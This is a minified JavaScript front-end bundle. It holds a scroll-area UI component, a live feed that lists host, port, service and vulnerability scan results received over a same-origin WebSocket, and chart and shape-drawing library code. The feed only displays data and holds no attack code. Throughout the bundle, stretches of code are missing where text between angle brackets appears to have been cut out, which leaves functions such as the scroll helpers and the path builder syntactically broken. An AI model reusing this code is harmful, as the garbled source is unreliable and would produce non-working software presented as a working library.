h=window.setTimeout(()=>f("HIDE"),i.scrollHideDelay);return()=>window.clearTimeout(h)}},[u,i.scrollHideDelay,f]),v.useEffect(()=>{const h=i.viewport,p=l?"scrollLeft":"scrollTop";if(h){let m=h[p];const y=()=>{const x=h[p];m!==x&&(f("SCROLL"),c()),m=x};return h.addEventListener("scroll",y),()=>h.removeEventListener("scroll",y)}},[i.viewport,l,f,c]),E.jsx(ln,{present:n||u!=="hidden",children:E.jsx(tx,{"data-state":u==="hidden"?"hidden":"visible",...r,ref:t,onPointerEnter:ue(e.onPointerEnter,()=>f("POINTER_ENTER")),onPointerLeave:ue(e.onPointerLeave,()=>f("POINTER_LEAVE"))})})}),IP=v.forwardRef((e,t)=>{const n=hr(Yr,e.__scopeScrollArea),{forceMount:r,...i}=e,[l,c]=v.useState(!1),u=e.orientation==="horizontal",f=Fh(()=>{if(n.viewport){const h=n.viewport.offsetWidth{const{orientation:n="vertical",...r}=e,i=hr(Yr,e.__scopeScrollArea),l=v.useRef(null),c=v.useRef(0),[u,f]=v.useState({content:0,viewport:0,scrollbar:{size:0,paddingStart:0,paddingEnd:0}}),h=HP(u.viewport,u.content),p={...r,sizes:u,onSizesChange:f,hasThumb:h>0&&h<1,onThumbChange:y=>l.current=y,onThumbPointerUp:()=>c.current=0,onThumbPointerDown:y=>c.current=y};function m(y,x){return dq(y,c.current,u,x)}return n==="horizontal"?E.jsx(lq,{...p,ref:t,onThumbPositionChange:()=>{if(i.viewport&&l.current){const y=i.viewport.scrollLeft,x=xC(y,u,i.dir);l.current.style.transform=`translate3d(${x}px, 0, 0)`}},onWheelScroll:y=>{i.viewport&&(i.viewport.scrollLeft=y)},onDragScroll:y=>{i.viewport&&(i.viewport.scrollLeft=m(y,i.dir))}}):n==="vertical"?E.jsx(sq,{...p,ref:t,onThumbPositionChange:()=>{if(i.viewport&&l.current){const y=i.viewport.scrollTop,x=xC(y,u);l.current.style.transform=`translate3d(0, ${x}px, 0)`}},onWheelScroll:y=>{i.viewport&&(i.viewport.scrollTop=y)},onDragScroll:y=>{i.viewport&&(i.viewport.scrollTop=m(y))}}):null}),lq=v.forwardRef((e,t)=>{const{sizes:n,onSizesChange:r,...i}=e,l=hr(Yr,e.__scopeScrollArea),[c,u]=v.useState(),f=v.useRef(null),h=De(t,f,l.onScrollbarXChange);return v.useEffect(()=>{f.current&&u(getComputedStyle(f.current))},[f]),E.jsx($P,{"data-orientation":"horizontal",...i,ref:h,sizes:n,style:{bottom:0,left:l.dir==="rtl"?"var(--radix-scroll-area-corner-width)":0,right:l.dir==="ltr"?"var(--radix-scroll-area-corner-width)":0,"--radix-scroll-area-thumb-width":qh(n)+"px",...e.style},onThumbPointerDown:p=>e.onThumbPointerDown(p.x),onDragScroll:p=>e.onDragScroll(p.x),onWheelScroll:(p,m)=>{if(l.viewport){const y=l.viewport.scrollLeft+p.deltaX;e.onWheelScroll(y),FP(y,m)&&p.preventDefault()}},onResize:()=>{f.current&&l.viewport&&c&&r({content:l.viewport.scrollWidth,viewport:l.viewport.offsetWidth,scrollbar:{size:f.current.clientWidth,paddingStart:Nd(c.paddingLeft),paddingEnd:Nd(c.paddingRight)}})}})}),sq=v.forwardRef((e,t)=>{const{sizes:n,onSizesChange:r,...i}=e,l=hr(Yr,e.__scopeScrollArea),[c,u]=v.useState(),f=v.useRef(null),h=De(t,f,l.onScrollbarYChange);return v.useEffect(()=>{f.current&&u(getComputedStyle(f.current))},[f]),E.jsx($P,{"data-orientation":"vertical",...i,ref:h,sizes:n,style:{top:0,right:l.dir==="ltr"?0:void 0,left:l.dir==="rtl"?0:void 0,bottom:"var(--radix-scroll-area-corner-height)","--radix-scroll-area-thumb-height":qh(n)+"px",...e.style},onThumbPointerDown:p=>e.onThumbPointerDown(p.y),onDragScroll:p=>e.onDragScroll(p.y),onWheelScroll:(p,m)=>{if(l.viewport){const y=l.viewport.scrollTop+p.deltaY;e.onWheelScroll(y),FP(y,m)&&p.preventDefault()}},onResize:()=>{f.current&&l.viewport&&c&&r({content:l.viewport.scrollHeight,viewport:l.viewport.offsetHeight,scrollbar:{size:f.current.clientHeight,paddingStart:Nd(c.paddingTop),paddingEnd:Nd(c.paddingBottom)}})}})}),[cq,zP]=RP(Yr),$P=v.forwardRef((e,t)=>{const{__scopeScrollArea:n,sizes:r,hasThumb:i,onThumbChange:l,onThumbPointerUp:c,onThumbPointerDown:u,onThumbPositionChange:f,onDragScroll:h,onWheelScroll:p,onResize:m,...y}=e,x=hr(Yr,n),[S,w]=v.useState(null),O=De(t,B=>w(B)),A=v.useRef(null),_=v.useRef(""),T=x.viewport,j=r.content-r.viewport,M=en(p),P=en(f),R=Fh(m,10);function I(B){if(A.current){const q=B.clientX-A.current.left,U=B.clientY-A.current.top;h({x:q,y:U})}}return v.useEffect(()=>{const B=q=>{const U=q.target;S?.contains(U)&&M(q,j)};return document.addEventListener("wheel",B,{passive:!1}),()=>document.removeEventListener("wheel",B,{passive:!1})},[T,S,j,M]),v.useEffect(P,[r,P]),Rl(S,R),Rl(x.content,R),E.jsx(cq,{scope:n,scrollbar:S,hasThumb:i,onThumbChange:en(l),onThumbPointerUp:en(c),onThumbPositionChange:P,onThumbPointerDown:en(u),children:E.jsx(Ce.div,{...y,ref:O,style:{position:"absolute",...y.style},onPointerDown:ue(e.onPointerDown,B=>{B.button===0&&(B.target.setPointerCapture(B.pointerId),A.current=S.getBoundingClientRect(),_.current=document.body.style.webkitUserSelect,document.body.style.webkitUserSelect="none",x.viewport&&(x.viewport.style.scrollBehavior="auto"),I(B))}),onPointerMove:ue(e.onPointerMove,I),onPointerUp:ue(e.onPointerUp,B=>{const q=B.target;q.hasPointerCapture(B.pointerId)&&q.releasePointerCapture(B.pointerId),document.body.style.webkitUserSelect=_.current,x.viewport&&(x.viewport.style.scrollBehavior=""),A.current=null})})})}),Td="ScrollAreaThumb",BP=v.forwardRef((e,t)=>{const{forceMount:n,...r}=e,i=zP(Td,e.__scopeScrollArea);return E.jsx(ln,{present:n||i.hasThumb,children:E.jsx(uq,{ref:t,...r})})}),uq=v.forwardRef((e,t)=>{const{__scopeScrollArea:n,style:r,...i}=e,l=hr(Td,n),c=zP(Td,n),{onThumbPositionChange:u}=c,f=De(t,m=>c.onThumbChange(m)),h=v.useRef(void 0),p=Fh(()=>{h.current&&(h.current(),h.current=void 0)},100);return v.useEffect(()=>{const m=l.viewport;if(m){const y=()=>{if(p(),!h.current){const x=hq(m,u);h.current=x,u()}};return u(),m.addEventListener("scroll",y),()=>m.removeEventListener("scroll",y)}},[l.viewport,p,u]),E.jsx(Ce.div,{"data-state":c.hasThumb?"visible":"hidden",...i,ref:f,style:{width:"var(--radix-scroll-area-thumb-width)",height:"var(--radix-scroll-area-thumb-height)",...r},onPointerDownCapture:ue(e.onPointerDownCapture,m=>{const x=m.target.getBoundingClientRect(),S=m.clientX-x.left,w=m.clientY-x.top;c.onThumbPointerDown({x:S,y:w})}),onPointerUp:ue(e.onPointerUp,c.onThumbPointerUp)})});BP.displayName=Td;var nx="ScrollAreaCorner",UP=v.forwardRef((e,t)=>{const n=hr(nx,e.__scopeScrollArea),r=!!(n.scrollbarX&&n.scrollbarY);return n.type!=="scroll"&&r?E.jsx(fq,{...e,ref:t}):null});UP.displayName=nx;var fq=v.forwardRef((e,t)=>{const{__scopeScrollArea:n,...r}=e,i=hr(nx,n),[l,c]=v.useState(0),[u,f]=v.useState(0),h=!!(l&&u);return Rl(i.scrollbarX,()=>{const p=i.scrollbarX?.offsetHeight||0;i.onCornerHeightChange(p),f(p)}),Rl(i.scrollbarY,()=>{const p=i.scrollbarY?.offsetWidth||0;i.onCornerWidthChange(p),c(p)}),h?E.jsx(Ce.div,{...r,ref:t,style:{width:l,height:u,position:"absolute",right:i.dir==="ltr"?0:void 0,left:i.dir==="rtl"?0:void 0,bottom:0,...e.style}}):null});function Nd(e){return e?parseInt(e,10):0}function HP(e,t){const n=e/t;return isNaN(n)?0:n}function qh(e){const t=HP(e.viewport,e.content),n=e.scrollbar.paddingStart+e.scrollbar.paddingEnd,r=(e.scrollbar.size-n)*t;return Math.max(r,18)}function dq(e,t,n,r="ltr"){const i=qh(n),l=i/2,c=t||l,u=i-c,f=n.scrollbar.paddingStart+c,h=n.scrollbar.size-n.scrollbar.paddingEnd-u,p=n.content-n.viewport,m=r==="ltr"?[0,p]:[p*-1,0];return qP([f,h],m)(e)}function xC(e,t,n="ltr"){const r=qh(t),i=t.scrollbar.paddingStart+t.scrollbar.paddingEnd,l=t.scrollbar.size-i,c=t.content-t.viewport,u=l-r,f=n==="ltr"?[0,c]:[c*-1,0],h=g0(e,f);return qP([0,c],[0,u])(h)}function qP(e,t){return n=>{if(e[0]===e[1]||t[0]===t[1])return t[0];const r=(t[1]-t[0])/(e[1]-e[0]);return t[0]+r*(n-e[0])}}function FP(e,t){return e>0&&e{})=>{let n={left:e.scrollLeft,top:e.scrollTop},r=0;return(function i(){const l={left:e.scrollLeft,top:e.scrollTop},c=n.left!==l.left,u=n.top!==l.top;(c||u)&&t(),n=l,r=window.requestAnimationFrame(i)})(),()=>window.cancelAnimationFrame(r)};function Fh(e,t){const n=en(e),r=v.useRef(0);return v.useEffect(()=>()=>window.clearTimeout(r.current),[]),v.useCallback(()=>{window.clearTimeout(r.current),r.current=window.setTimeout(n,t)},[n,t])}function Rl(e,t){const n=en(t);Ft(()=>{let r=0;if(e){const i=new ResizeObserver(()=>{cancelAnimationFrame(r),r=window.requestAnimationFrame(n)});return i.observe(e),()=>{window.cancelAnimationFrame(r),i.unobserve(e)}}},[e,n])}var VP=DP,pq=LP,mq=UP;const rx=v.forwardRef(({className:e,children:t,...n},r)=>E.jsxs(VP,{ref:r,className:Ee("relative overflow-hidden",e),...n,children:[E.jsx(pq,{className:"h-full w-full rounded-[inherit]",children:t}),E.jsx(KP,{}),E.jsx(mq,{})]}));rx.displayName=VP.displayName;const KP=v.forwardRef(({className:e,orientation:t="vertical",...n},r)=>E.jsx(ex,{ref:r,orientation:t,className:Ee("flex touch-none select-none transition-colors",t==="vertical"&&"h-full w-2.5 border-l border-l-transparent p-[1px]",t==="horizontal"&&"h-2.5 flex-col border-t border-t-transparent p-[1px]",e),...n,children:E.jsx(BP,{className:"relative flex-1 rounded-full bg-border"})}));KP.displayName=ex.displayName;function Vh({icon:e,title:t,description:n,action:r,className:i,...l}){return E.jsxs("div",{className:Ee("flex flex-col items-center justify-center py-12 px-4 text-center",i),...l,children:[e&&E.jsx("div",{className:"mb-4 rounded-full bg-muted p-4",children:E.jsx(e,{className:"h-8 w-8 text-muted-foreground"})}),E.jsx("h3",{className:"text-lg font-medium text-foreground mb-1",children:t}),n&&E.jsx("p",{className:"text-sm text-muted-foreground max-w-sm mb-4",children:n}),r&&E.jsx("div",{className:"mt-2",children:r})]})}const YP=v.createContext(null);function vq({children:e}){const[t,n]=v.useState(!1),[r,i]=v.useState([]),l=v.useRef(null),c=v.useRef(null),u=v.useRef(!1),f=v.useRef(new Map),h=v.useRef(0),p=v.useCallback(()=>{f.current.clear(),h.current=0,i([])},[]),m=v.useCallback(()=>{if(!u.current)return;if(l.current){const O=l.current.readyState;if(O===WebSocket.OPEN||O===WebSocket.CONNECTING)return}const S=`${window.location.protocol==="https:"?"wss:":"ws:"}//${window.location.host}/ws`,w=new WebSocket(S);l.current=w,w.onopen=()=>{u.current&&n(!0)},w.onclose=()=>{u.current&&(n(!1),c.current=setTimeout(()=>{u.current&&m()},3e3))},w.onerror=()=>{w.close()},w.onmessage=O=>{if(u.current)try{const A=JSON.parse(O.data);if(A.type==="scan_result"&&A.data){const _=A.data,T=A.timestamp||Date.now(),j={id:++h.current,time:new Date(T).toLocaleTimeString(),type:_.type||"info",target:_.target||"",status:_.status||""},M=`${j.type}|${j.target}`,P=f.current.get(M);if(P){const I=P.status;(I==="identified"||I==="open"||I==="")&&j.status!=="identified"&&j.status!=="open"&&j.status!==""&&f.current.set(M,{...j,id:P.id})}else f.current.set(M,j);const R=Array.from(f.current.values()).sort((I,B)=>B.id-I.id).slice(0,100);i(R)}}catch{}}},[]);v.useEffect(()=>(u.current=!0,m(),()=>{u.current=!1,c.current&&(clearTimeout(c.current),c.current=null),l.current&&(l.current.close(),l.current=null)}),[m]);const y=v.useMemo(()=>({isConnected:t,logs:r,clearLogs:p}),[t,r,p]);return E.jsx(YP.Provider,{value:y,children:e})}function ax(){const e=v.useContext(YP);if(!e)throw new Error("useLiveFeed must be used within a LiveFeedProvider");return e}const gq={host:Tb,port:_b,service:OB,vuln:Nb};function GP({compact:e=!1,showTypeLabel:t=!1}){const{t:n}=wo(),{isConnected:r,logs:i}=ax(),l=u=>{const f=u?.toLowerCase();return gq[f]||bM},c=u=>{switch(u?.toLowerCase()){case"host":return n("typeHost");case"port":return n("typePort");case"service":return n("typeService");case"vuln":return n("typeVuln");default:return u}};return E.jsxs(Gl,{className:e?"":"flex-1 flex flex-col",children:[E.jsxs(Wl,{className:"flex flex-row items-center justify-between space-y-0 pb-3",children:[E.jsxs(Xl,{className:"flex items-center gap-2 text-base",children:[E.jsx(xd,{className:"w-4 h-4 sm:w-5 sm:h-5 text-muted-foreground"}),n("liveFeed")]}),E.jsxs("div",{className:"flex items-center gap-2",children:[r?E.jsxs(ga,{variant:"default",className:"gap-1",children:[E.jsx(EM,{className:"w-3 h-3"}),E.jsx("span",{className:"hidden sm:inline",children:n("liveFeedConnected")})]}):E.jsxs(ga,{variant:"destructive",className:"gap-1",children:[E.jsx(LB,{className:"w-3 h-3"}),E.jsx("span",{className:"hidden sm:inline",children:n("liveFeedDisconnected")})]}),E.jsxs(ga,{variant:"outline",className:"font-mono",children:[i.length,"/100"]})]})]}),E.jsx(Zl,{className:e?"pt-0":"pt-0 flex-1 min-h-0",children:E.jsx(rx,{className:e?"h-52 lg:h-56":"h-full",children:i.length===0?E.jsx(Vh,{icon:OM,title:n("resultsEmpty"),description:n("liveFeedEmptyDescription"),className:e?"py-6":"py-8"}):E.jsx("div",{className:"space-y-0.5",children:i.map(u=>{const f=l(u.type);return E.jsxs("div",{className:"log-line animate-fade-in group",children:[E.jsx("span",{className:"log-time",children:u.time}),E.jsxs(ga,{variant:u.type?.toLowerCase(),className:"gap-1 text-xs",children:[E.jsx(f,{className:"w-3 h-3"}),t&&c(u.type)]}),E.jsx("span",{className:"log-target",children:u.target}),E.jsx("span",{className:"text-muted-foreground truncate ml-auto text-xs",children:u.status})]},u.id)})})})})]})}var yq=["dangerouslySetInnerHTML","onCopy","onCopyCapture","onCut","onCutCapture","onPaste","onPasteCapture","onCompositionEnd","onCompositionEndCapture","onCompositionStart","onCompositionStartCapture","onCompositionUpdate","onCompositionUpdateCapture","onFocus","onFocusCapture","onBlur","onBlurCapture","onChange","onChangeCapture","onBeforeInput","onBeforeInputCapture","onInput","onInputCapture","onReset","onResetCapture","onSubmit","onSubmitCapture","onInvalid","onInvalidCapture","onLoad","onLoadCapture","onError","onErrorCapture","onKeyDown","onKeyDownCapture","onKeyPress","onKeyPressCapture","onKeyUp","onKeyUpCapture","onAbort","onAbortCapture","onCanPlay","onCanPlayCapture","onCanPlayThrough","onCanPlayThroughCapture","onDurationChange","onDurationChangeCapture","onEmptied","onEmptiedCapture","onEncrypted","onEncryptedCapture","onEnded","onEndedCapture","onLoadedData","onLoadedDataCapture","onLoadedMetadata","onLoadedMetadataCapture","onLoadStart","onLoadStartCapture","onPause","onPauseCapture","onPlay","onPlayCapture","onPlaying","onPlayingCapture","onProgress","onProgressCapture","onRateChange","onRateChangeCapture","onSeeked","onSeekedCapture","onSeeking","onSeekingCapture","onStalled","onStalledCapture","onSuspend","onSuspendCapture","onTimeUpdate","onTimeUpdateCapture","onVolumeChange","onVolumeChangeCapture","onWaiting","onWaitingCapture","onAuxClick","onAuxClickCapture","onClick","onClickCapture","onContextMenu","onContextMenuCapture","onDoubleClick","onDoubleClickCapture","onDrag","onDragCapture","onDragEnd","onDragEndCapture","onDragEnter","onDragEnterCapture","onDragExit","onDragExitCapture","onDragLeave","onDragLeaveCapture","onDragOver","onDragOverCapture","onDragStart","onDragStartCapture","onDrop","onDropCapture","onMouseDown","onMouseDownCapture","onMouseEnter","onMouseLeave","onMouseMove","onMouseMoveCapture","onMouseOut","onMouseOutCapture","onMouseOver","onMouseOverCapture","onMouseUp","onMouseUpCapture","onSelect","onSelectCapture","onTouchCancel","onTouchCancelCapture","onTouchEnd","onTouchEndCapture","onTouchMove","onTouchMoveCapture","onTouchStart","onTouchStartCapture","onPointerDown","onPointerDownCapture","onPointerMove","onPointerMoveCapture","onPointerUp","onPointerUpCapture","onPointerCancel","onPointerCancelCapture","onPointerEnter","onPointerEnterCapture","onPointerLeave","onPointerLeaveCapture","onPointerOver","onPointerOverCapture","onPointerOut","onPointerOutCapture","onGotPointerCapture","onGotPointerCaptureCapture","onLostPointerCapture","onLostPointerCaptureCapture","onScroll","onScrollCapture","onWheel","onWheelCapture","onAnimationStart","onAnimationStartCapture","onAnimationEnd","onAnimationEndCapture","onAnimationIteration","onAnimationIterationCapture","onTransitionEnd","onTransitionEndCapture"];function ix(e){if(typeof e!="string")return!1;var t=yq;return t.includes(e)}var bq=["aria-activedescendant","aria-atomic","aria-autocomplete","aria-busy","aria-checked","aria-colcount","aria-colindex","aria-colspan","aria-controls","aria-current","aria-describedby","aria-details","aria-disabled","aria-errormessage","aria-expanded","aria-flowto","aria-haspopup","aria-hidden","aria-invalid","aria-keyshortcuts","aria-label","aria-labelledby","aria-level","aria-live","aria-modal","aria-multiline","aria-multiselectable","aria-orientation","aria-owns","aria-placeholder","aria-posinset","aria-pressed","aria-readonly","aria-relevant","aria-required","aria-roledescription","aria-rowcount","aria-rowindex","aria-rowspan","aria-selected","aria-setsize","aria-sort","aria-valuemax","aria-valuemin","aria-valuenow","aria-valuetext","className","color","height","id","lang","max","media","method","min","name","style","target","width","role","tabIndex","accentHeight","accumulate","additive","alignmentBaseline","allowReorder","alphabetic","amplitude","arabicForm","ascent","attributeName","attributeType","autoReverse","azimuth","baseFrequency","baselineShift","baseProfile","bbox","begin","bias","by","calcMode","capHeight","clip","clipPath","clipPathUnits","clipRule","colorInterpolation","colorInterpolationFilters","colorProfile","colorRendering","contentScriptType","contentStyleType","cursor","cx","cy","d","decelerate","descent","diffuseConstant","direction","display","divisor","dominantBaseline","dur","dx","dy","edgeMode","elevation","enableBackground","end","exponent","externalResourcesRequired","fill","fillOpacity","fillRule","filter","filterRes","filterUnits","floodColor","floodOpacity","focusable","fontFamily","fontSize","fontSizeAdjust","fontStretch","fontStyle","fontVariant","fontWeight","format","from","fx","fy","g1","g2","glyphName","glyphOrientationHorizontal","glyphOrientationVertical","glyphRef","gradientTransform","gradientUnits","hanging","horizAdvX","horizOriginX","href","ideographic","imageRendering","in2","in","intercept","k1","k2","k3","k4","k","kernelMatrix","kernelUnitLength","kerning","keyPoints","keySplines","keyTimes","lengthAdjust","letterSpacing","lightingColor","limitingConeAngle","local","markerEnd","markerHeight","markerMid","markerStart","markerUnits","markerWidth","mask","maskContentUnits","maskUnits","mathematical","mode","numOctaves","offset","opacity","operator","order","orient","orientation","origin","overflow","overlinePosition","overlineThickness","paintOrder","panose1","pathLength","patternContentUnits","patternTransform","patternUnits","pointerEvents","pointsAtX","pointsAtY","pointsAtZ","preserveAlpha","preserveAspectRatio","primitiveUnits","r","radius","refX","refY","renderingIntent","repeatCount","repeatDur","requiredExtensions","requiredFeatures","restart","result","rotate","rx","ry","seed","shapeRendering","slope","spacing","specularConstant","specularExponent","speed","spreadMethod","startOffset","stdDeviation","stemh","stemv","stitchTiles","stopColor","stopOpacity","strikethroughPosition","strikethroughThickness","string","stroke","strokeDasharray","strokeDashoffset","strokeLinecap","strokeLinejoin","strokeMiterlimit","strokeOpacity","strokeWidth","surfaceScale","systemLanguage","tableValues","targetX","targetY","textAnchor","textDecoration","textLength","textRendering","to","transform","u1","u2","underlinePosition","underlineThickness","unicode","unicodeBidi","unicodeRange","unitsPerEm","vAlphabetic","values","vectorEffect","version","vertAdvY","vertOriginX","vertOriginY","vHanging","vIdeographic","viewTarget","visibility","vMathematical","widths","wordSpacing","writingMode","x1","x2","x","xChannelSelector","xHeight","xlinkActuate","xlinkArcrole","xlinkHref","xlinkRole","xlinkShow","xlinkTitle","xlinkType","xmlBase","xmlLang","xmlns","xmlnsXlink","xmlSpace","y1","y2","y","yChannelSelector","z","zoomAndPan","ref","key","angle"],xq=new Set(bq);function WP(e){return typeof e!="string"?!1:xq.has(e)}function XP(e){return typeof e=="string"&&e.startsWith("data-")}function Ur(e){if(typeof e!="object"||e===null)return{};var t={};for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(WP(n)||XP(n))&&(t[n]=e[n]);return t}function Ec(e){if(e==null)return null;if(v.isValidElement(e)&&typeof e.props=="object"&&e.props!==null){var t=e.props;return Ur(t)}return typeof e=="object"&&!Array.isArray(e)?Ur(e):null}function ur(e){var t={};for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&&(WP(n)||XP(n)||ix(n))&&(t[n]=e[n]);return t}var wq=["children","width","height","viewBox","className","style","title","desc"];function E0(){return E0=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:n,width:r,height:i,viewBox:l,className:c,style:u,title:f,desc:h}=e,p=Sq(e,wq),m=l||{width:r,height:i,x:0,y:0},y=Ye("recharts-surface",c);return v.createElement("svg",E0({},ur(p),{className:y,width:r,height:i,style:u,viewBox:"".concat(m.x," ").concat(m.y," ").concat(m.width," ").concat(m.height),ref:t}),v.createElement("title",null,f),v.createElement("desc",null,h),n)}),Eq=["children","className"];function A0(){return A0=Object.assign?Object.assign.bind():function(e){for(var t=1;t{var{children:n,className:r}=e,i=Aq(e,Eq),l=Ye("recharts-layer",r);return v.createElement("g",A0({className:l},ur(i),{ref:t}),n)}),_q=v.createContext(null);function rt(e){return function(){return e}}const QP=Math.cos,Md=Math.sin,Cr=Math.sqrt,jd=Math.PI,Kh=2*jd,C0=Math.PI,_0=2*C0,Wi=1e-6,Tq=_0-Wi;function JP(e){this._+=e[0];for(let t=1,n=e.length;t=0))throw new Error(`invalid digits: ${e}`);if(t>15)return JP;const n=10**t;return function(r){this._+=r[0];for(let i=1,l=r.length;iWi)if(!(Math.abs(m*f-h*p)>Wi)||!l)this._append`L${this._x1=t},${this._y1=n}`;else{let x=r-c,S=i-u,w=f*f+h*h,O=x*x+S*S,A=Math.sqrt(w),_=Math.sqrt(y),T=l*Math.tan((C0-Math.acos((w+y-O)/(2*A*_)))/2),j=T/_,M=T/A;Math.abs(j-1)>Wi&&this._append`L${t+j*p},${n+j*m}`,this._append`A${l},${l},0,0,${+(m*x>p*S)},${this._x1=t+M*f},${this._y1=n+M*h}`}}arc(t,n,r,i,l,c){if(t=+t,n=+n,r=+r,c=!!c,r<0)throw new Error(`negative radius: ${r}`);let u=r*Math.cos(i),f=r*Math.sin(i),h=t+u,p=n+f,m=1^c,y=c?i-l:l-i;this._x1===null?this._append`M${h},${p}`:(Math.abs(this._x1-h)>Wi||Math.abs(this._y1-p)>Wi)&&this._append`L${h},${p}`,r&&(y<0&&(y=y%_0+_0),y>Tq?this._append`A${r},${r},0,1,${m},${t-u},${n-f}A${r},${r},0,1,${m},${this._x1=h},${this._y1=p}`:y>Wi&&this._append`A${r},${r},0,${+(y>=C0)},${m},${this._x1=t+r*Math.cos(l)},${this._y1=n+r*Math.sin(l)}`)}rect(t,n,r,i){this._append`M${this._x0=this._x1=+t},${this._y0=this._y1=+n}h${r=+r}v${+i}h${-r}Z`}toString(){return this._}}function ox(e){let t=3;return e.digits=function(n){if(!arguments.length)return t;if(n==null)t=null;else{const r=Math.floor(n);if(!(r>=0))throw new RangeError(`invalid digits: ${n}`);t=r}return e},()=>new Mq(t)}function lx(e){return typeof e=="object"&&"length"in e?e:Array.from(e)}function eR(e){this._context=e}eR.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._point=0},lineEnd:function(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 1:this._point=2;default:this._context.lineTo(e,t);break}}};function Yh(e){return new eR(e)}function tR(e){return e[0]}function nR(e){return e[1]}function rR(e,t){var n=rt(!0),r=null,i=Yh,l=null,c=ox(u);e=typeof e=="function"?e:e===void 0?tR:rt(e),t=typeof t=="function"?t:t===void 0?nR:rt(t);function u(f){var h,p=(f=lx(f)).length,m,y=!1,x;for(r==null&&(l=i(x=c())),h=0;h<=p;++h)!(h=x;--S)u.point(T[S],j[S]);u.lineEnd(),u.areaEnd()}A&&(T[y]=+e(O,y,m),j[y]=+t(O,y,m),u.point(r?+r(O,y,m):T[y],n?+n(O,y,m):j[y]))}if(_)return u=null,_+""||null}function p(){return rR().defined(i).curve(c).context(l)}return h.x=function(m){return arguments.length?(e=typeof m=="function"?m:rt(+m),r=null,h):e},h.x0=function(m){return arguments.length?(e=typeof m=="function"?m:rt(+m),h):e},h.x1=function(m){return arguments.length?(r=m==null?null:typeof m=="function"?m:rt(+m),h):r},h.y=function(m){return arguments.length?(t=typeof m=="function"?m:rt(+m),n=null,h):t},h.y0=function(m){return arguments.length?(t=typeof m=="function"?m:rt(+m),h):t},h.y1=function(m){return arguments.length?(n=m==null?null:typeof m=="function"?m:rt(+m),h):n},h.lineX0=h.lineY0=function(){return p().x(e).y(t)},h.lineY1=function(){return p().x(e).y(n)},h.lineX1=function(){return p().x(r).y(t)},h.defined=function(m){return arguments.length?(i=typeof m=="function"?m:rt(!!m),h):i},h.curve=function(m){return arguments.length?(c=m,l!=null&&(u=c(l)),h):c},h.context=function(m){return arguments.length?(m==null?l=u=null:u=c(l=m),h):l},h}class aR{constructor(t,n){this._context=t,this._x=n}areaStart(){this._line=0}areaEnd(){this._line=NaN}lineStart(){this._point=0}lineEnd(){(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line}point(t,n){switch(t=+t,n=+n,this._point){case 0:{this._point=1,this._line?this._context.lineTo(t,n):this._context.moveTo(t,n);break}case 1:this._point=2;default:{this._x?this._context.bezierCurveTo(this._x0=(this._x0+t)/2,this._y0,this._x0,n,t,n):this._context.bezierCurveTo(this._x0,this._y0=(this._y0+n)/2,t,this._y0,t,n);break}}this._x0=t,this._y0=n}}function jq(e){return new aR(e,!0)}function Pq(e){return new aR(e,!1)}const sx={draw(e,t){const n=Cr(t/jd);e.moveTo(n,0),e.arc(0,0,n,0,Kh)}},Rq={draw(e,t){const n=Cr(t/5)/2;e.moveTo(-3*n,-n),e.lineTo(-n,-n),e.lineTo(-n,-3*n),e.lineTo(n,-3*n),e.lineTo(n,-n),e.lineTo(3*n,-n),e.lineTo(3*n,n),e.lineTo(n,n),e.lineTo(n,3*n),e.lineTo(-n,3*n),e.lineTo(-n,n),e.lineTo(-3*n,n),e.closePath()}},iR=Cr(1/3),Dq=iR*2,kq={draw(e,t){const n=Cr(t/Dq),r=n*iR;e.moveTo(0,-n),e.lineTo(r,0),e.lineTo(0,n),e.lineTo(-r,0),e.closePath()}},Lq={draw(e,t){const n=Cr(t),r=-n/2;e.rect(r,r,n,n)}},Iq=.8908130915292852,oR=Md(jd/10)/Md(7*jd/10),zq=Md(Kh/10)*oR,$q=-QP(Kh/10)*oR,Bq={draw(e,t){const n=Cr(t*Iq),r=zq*n,i=$q*n;e.moveTo(0,-n),e.lineTo(r,i);for(let l=1;l<5;++l){const c=Kh*l/5,u=QP(c),f=Md(c);e.lineTo(f*n,-u*n),e.lineTo(u*r-f*i,f*r+u*i)}e.closePath()}},_g=Cr(3),Uq={draw(e,t){const n=-Cr(t/(_g*3));e.moveTo(0,n*2),e.lineTo(-_g*n,-n),e.lineTo(_g*n,-n),e.closePath()}},nr=-.5,rr=Cr(3)/2,T0=1/Cr(12),Hq=(T0/2+1)*3,qq={draw(e,t){const n=Cr(t/Hq),r=n/2,i=n*T0,l=r,c=n*T0+n,u=-l,f=c;e.moveTo(r,i),e.lineTo(l,c),e.lineTo(u,f),e.lineTo(nr*r-rr*i,rr*r+nr*i),e.lineTo(nr*l-rr*c,rr*l+nr*c),e.lineTo(nr*u-rr*f,rr*u+nr*f),e.lineTo(nr*r+rr*i,nr*i-rr*r),e.lineTo(nr*l+rr*c,nr*c-rr*l),e.lineTo(nr*u+rr*f,nr*f-rr*u),e.closePath()}};function Fq(e,t){let n=null,r=ox(i);e=typeof e=="function"?e:rt(e||sx),t=typeof t=="function"?t:rt(t===void 0?64:+t);function i(){let l;if(n||(n=l=r()),e.apply(this,arguments).draw(n,+t.apply(this,arguments)),l)return n=null,l+""||null}return i.type=function(l){return arguments.length?(e=typeof l=="function"?l:rt(l),i):e},i.size=function(l){return arguments.length?(t=typeof l=="function"?l:rt(+l),i):t},i.context=function(l){return arguments.length?(n=l??null,i):n},i}function Pd(){}function Rd(e,t,n){e._context.bezierCurveTo((2*e._x0+e._x1)/3,(2*e._y0+e._y1)/3,(e._x0+2*e._x1)/3,(e._y0+2*e._y1)/3,(e._x0+4*e._x1+t)/6,(e._y0+4*e._y1+n)/6)}function lR(e){this._context=e}lR.prototype={areaStart:function(){this._line=0},areaEnd:function(){this._line=NaN},lineStart:function(){this._x0=this._x1=this._y0=this._y1=NaN,this._point=0},lineEnd:function(){switch(this._point){case 3:Rd(this,this._x1,this._y1);case 2:this._context.lineTo(this._x1,this._y1);break}(this._line||this._line!==0&&this._point===1)&&this._context.closePath(),this._line=1-this._line},point:function(e,t){switch(e=+e,t=+t,this._point){case 0:this._point=1,this._line?this._context.lineTo(e,t):this._context.moveTo(e,t);break;case 